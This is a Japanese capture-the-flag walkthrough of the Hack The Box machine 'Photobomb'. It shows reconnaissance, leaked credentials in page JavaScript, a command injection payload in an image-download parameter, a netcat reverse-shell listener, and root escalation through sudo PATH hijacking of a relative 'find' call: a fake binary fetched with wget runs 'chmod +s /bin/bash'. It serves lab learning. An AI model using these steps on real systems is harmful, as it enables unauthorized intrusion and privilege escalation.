まえがき

この記事はPhotobombのWriteupです📝

Machine Info

Name: Photobomb
IP Address: 10.10.11.182
OS: Linux 🐧

Recon

Port Scan - Nmap

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nmap 10.10.11.182 -Pn -v -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-27 15:57 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating NSE at 15:57
Completed NSE at 15:57, 0.00s elapsed
Initiating SYN Stealth Scan at 15:57
Scanning photobomb.htb (10.10.11.182) [1000 ports]
Discovered open port 22/tcp on 10.10.11.182
Discovered open port 80/tcp on 10.10.11.182
Completed SYN Stealth Scan at 15:57, 2.66s elapsed (1000 total ports)
Initiating Service scan at 15:57
Scanning 2 services on photobomb.htb (10.10.11.182)
Completed Service scan at 15:57, 6.55s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #2) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #3) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #4) against photobomb.htb (10.10.11.182)
Retrying OS detection (try #5) against photobomb.htb (10.10.11.182)
Initiating Traceroute at 15:57
Completed Traceroute at 15:57, 0.28s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:57
Completed Parallel DNS resolution of 1 host. at 15:57, 0.05s elapsed
NSE: Script scanning 10.10.11.182.
Initiating NSE at 15:57
Completed NSE at 15:58, 9.52s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 1.23s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Photobomb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/27%OT=22%CT=1%CU=38596%PV=Y%DS=2%DC=T%G=Y%TM=658
OS:BCB00%P=aarch64-unknown-linux-gnu)SEQ(SP=103%GCD=1%ISR=10F%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%
OS:O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W
OS:6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Uptime guess: 16.641 days (since Mon Dec 11 00:35:28 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT       ADDRESS
1   270.58 ms 10.10.14.1
2   270.93 ms photobomb.htb (10.10.11.182)

NSE: Script Post-scanning.
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Initiating NSE at 15:58
Completed NSE at 15:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds
           Raw packets sent: 1121 (53.374KB) | Rcvd: 1082 (46.782KB)

22番と80番のポートが開いていることがわかる。

Name Resolution

名前解決を行う必要がある。
/etc/hostsのファイルにこれを書き込んでおく。

10.10.11.182	photobomb.htb

Site - photobomb.htb

実際にアクセスしてみるとこんなページが見つかる。

click here!も確認してみる。

photobomb.htb/printer

Enumeration

他に見落としがないか確認していく。

dirsearch

──(kali㉿kali)-[~/Desktop/work]
└─$ dirsearch -u http://photobomb.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/work/reports/http_photobomb.htb/_23-12-24_14-14-59.txt

Target: http://photobomb.htb/

[14:14:59] Starting: 
[14:16:15] 200 -   11KB - /favicon.ico
[14:16:48] 401 -  590B  - /printer

Task Completed

あまり注目すべき階層はなかったようだ。
photobomb.htb/printerの調査に戻ることにしよう。

photobomb.htb/printer

どうやらUsernameとPasswordが必要なようだ。

Recon - Burp

BurpSuite

BurpSuiteを立ち上げて、調査を進める。

admin:adminで試してみるも、失敗。

basic認証でBase64エンコーディングでエンコードされる。

リクエストを辿っていると、こんな興味深いものを見つけた。

Response部分の以下の部分に注目だ。

// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');

このことからCookie存在下で、Jamesonが技術サポートのために資格情報を自動的に設定するようになっている。
今回の場合、pH0t0とb0Mb!でユーザー名とパスワードの形式を取っている。
pH0t0:b0Mb!で再度ログインを試してみよう。

成功。

どうやらこのページでは、任意の写真・形式・サイズを選択して、画像をダウンロードすることができるらしい。

Identification of Vulnerbility

脆弱性がある可能性があるため、特定していこう。

Exiftool

┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg 
ExifTool Version Number         : 12.67
File Name                       : voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg
Directory                       : .
File Size                       : 273 kB
File Modification Date/Time     : 2023:12:24 14:42:20+09:00
File Access Date/Time           : 2023:12:24 14:42:23+09:00
File Inode Change Date/Time     : 2023:12:24 14:42:20+09:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Profile CMM Type                : Little CMS
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2012:01:25 03:41:57
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 0
Profile Description             : c2
Profile Copyright               : IX
Media White Point               : 0.9642 1 0.82491
Media Black Point               : 0.01205 0.0125 0.01031
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)
Image Width                     : 3000
Image Height                    : 2000
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3000x2000
Megapixels                      : 6.0

ダウンロードした画像をExiftoolで確認してみるも、特に有益な情報は手に入らなかった。

Analyzing Downloaded Files with Burp

ダウンロード時のリクエストだ。(Intercept→Repeaterで確認しよう)

photo・filetype・dimentions部分でバリデーションができそうだと予想がつく。

Several approaches to validation

まず各パラメータに;を入力した時のレスポンスを確認。

① photo

Sourse photo does not exist.とレスポンスが返ってきた。
そもそもphoto名を改変して何かできることはなさそう。

② filetype

Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpgとレスポンスが返ってきた。

③ dimentions

Invalid dimensions.とレスポンスが返ってきた。

次に自分に向けてpingをおくってみる。

トラフィックをキャプチャしておく事前準備をしておく。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

これで準備はおk。

前述したように、そもそもphoto名が違うとリクエストがその時点で弾かれそうなのでfiletypeから調査していく。

② filetype

filetypeのパラメータ部分にpingコマンドを入力。（エンコーディングを忘れずに）

;ping+10.10.14.4+-c+3 #回数はお好みで;)

しっかりと返ってきているっぽいですね！！

③ dimentions
念の為にこちらのパラメータでも試しておく。

返ってこない。ダメっぽい😇

Exploit the Vulnerbility - CMD injection

pingの検証からCommand Injectionの脆弱性を発見した。

さて、Reverse Shellを送り込むようにしよう。

Establishing a Reverse Shell

このページを参考にして、Reverse Shellを作っていく。

IP部分はip aコマンド等で確認しておく。【tun0】

リスナーもたてておく。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.182] 37312

URL Encodeにしておくのを忘れずに。

送り込む。

成功。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.182] 41754
wizard@photobomb:~/photobomb$ whoami
whoami
wizard

Analysis & Recon

色々探索👀...

wizard@photobomb:~/photobomb$ cd
cd
wizard@photobomb:~$ ls -lta
ls -lta
total 44
drwxrwxr-x 6 wizard wizard 4096 Dec 30 17:34 photobomb
-rw-r----- 1 root   wizard   33 Dec 30 11:58 user.txt
drwx------ 3 wizard wizard 4096 Sep 16  2022 .gnupg
drwxr-xr-x 3 root   root   4096 Sep 16  2022 ..
drwxrwxr-x 4 wizard wizard 4096 Sep 16  2022 .gem
drwx------ 2 wizard wizard 4096 Sep 16  2022 .cache
drwxr-xr-x 7 wizard wizard 4096 Sep 16  2022 .
drwxrwxr-x 3 wizard wizard 4096 Sep 16  2022 .local
lrwxrwxrwx 1 wizard wizard    9 Mar 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 wizard wizard  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 wizard wizard 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 wizard wizard  807 Feb 25  2020 .profile
wizard@photobomb:~$ cat user.txt
cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のUserFlag

user.txtを発見。

Privilege Escalation

wizardの実行可能権限を確認する。

wizard@photobomb:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

/opt/cleanup.shが実行できる。

Exploiting cleanup.sh

cleanup.shの中身を確認してみよう。

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

find部分に注目だ。絶対パスで指定されていない。
相対パスで指定されていない場合、特定のバイナリやファイルが異なる場所から呼び出されてしまう可能性がある。

即ち、予期していないバイナリが実行される可能性があるということだ。この脆弱性を悪用していく。

ここら辺のことが理解するのが難しいのであれば、以下を参考にするといい。

findというファイルを作成して、権限昇格用のコマンドを書き込んでおく。

chmod +s /bin/bash

次にサーバをたてておく。(findを作った同じ階層で)

┌──(kali㉿kali)-[~/Desktop/work]
└─$ python3 -m http.server 80 --bind 10.10.14.4
Serving HTTP on 10.10.14.4 port 80 (http://10.10.14.4:80/) ...

ターゲットマシンでwgetを実行しfindを手にいれる。(/tmp階層)

wizard@photobomb:/tmp$ wget http://10.10.14.4/find
wget http://10.10.14.4/find
--2023-12-25 06:05:55--  http://10.10.14.4/find
Connecting to 10.10.14.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 70440 (69K) [application/octet-stream]
Saving to: ‘find’

find                100%[===================>]  68.79K   111KB/s    in 0.6s    

2023-12-25 06:05:57 (111 KB/s) - ‘find’ saved [70440/70440]

findに実行権限がついていないため、つけておく。

wizard@photobomb:/tmp$ ls -lta
ls -lta
total 124
drwxrwxrwt 13 root   root    4096 Dec 25 06:31 .
-rw-r--r--  1 wizard wizard 70536 Dec 25 06:30 find
drwx------  2 wizard wizard  4096 Dec 25 02:45 tmux-1000
drwx------  2 root   root    4096 Dec 25 02:33 vmware-root_670-2722828838
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-resolved.service-aHi1Ii
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-ModemManager.service-NQyZ0g
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-logind.service-3PWRBh
drwx------  3 root   root    4096 Dec 25 02:32 systemd-private-d2513848d5f147b09c9c943bb6f4206d-systemd-timesyncd.service-1Yrofg
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .font-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .ICE-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .Test-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .X11-unix
drwxrwxrwt  2 root   root    4096 Dec 25 02:32 .XIM-unix
drwxr-xr-x 18 root   root    4096 Sep 16  2022 ..
wizard@photobomb:/tmp$ chmod +x find

次にprintenvでPathの優先順位を確認しておく。

wizard@photobomb:~/photobomb$ printenv                               
printenv
SHELL=/bin/bash
PWD=/home/wizard/photobomb
LOGNAME=wizard
HOME=/home/wizard
LANG=en_US.UTF-8
LS_COLORS=
INVOCATION_ID=a92aca81d2b0475295484a74d88e3638
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
USER=wizard
SHLVL=4
JOURNAL_STREAM=9:32066
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OLDPWD=/tmp
_=/usr/bin/printenv

PATHのところに注目すると、今現在のPathの優先順位はusrから降順となっている。
ここら辺のところがまだわからない人は、こちらの記事をぜひ参考にするのがいい。

cleanup.shを実行させる時と同時にPathを追加(wgetで得たfindがある階層/tmp)させておく。
(Path追加と実行を別々にやるのはNG。)

wizard@photobomb:~/photobomb$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo PATH=/tmp:$PATH /opt/cleanup.sh
wizard@photobomb:~/photobomb$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

bash -pで特権モードで起動。

wizard@photobomb:~/photobomb$ bash -p
bash -p
bash-5.0# id
id
uid=1000(wizard) gid=1000(wizard) euid=0(root) egid=0(root) groups=0(root),1000(wizard)
bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
root.txt
bash-5.0# cat root.txt
cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag

Root Flagも見つけられることが出来た。

あとがき

今回は主にコマンドインジェクション・フルパスでの設定不足の脆弱性が挙げられた。

rootで実行されるコマンドでの相対パスの設定はあまりよくないため、絶対パスでの指定をしておきましょう。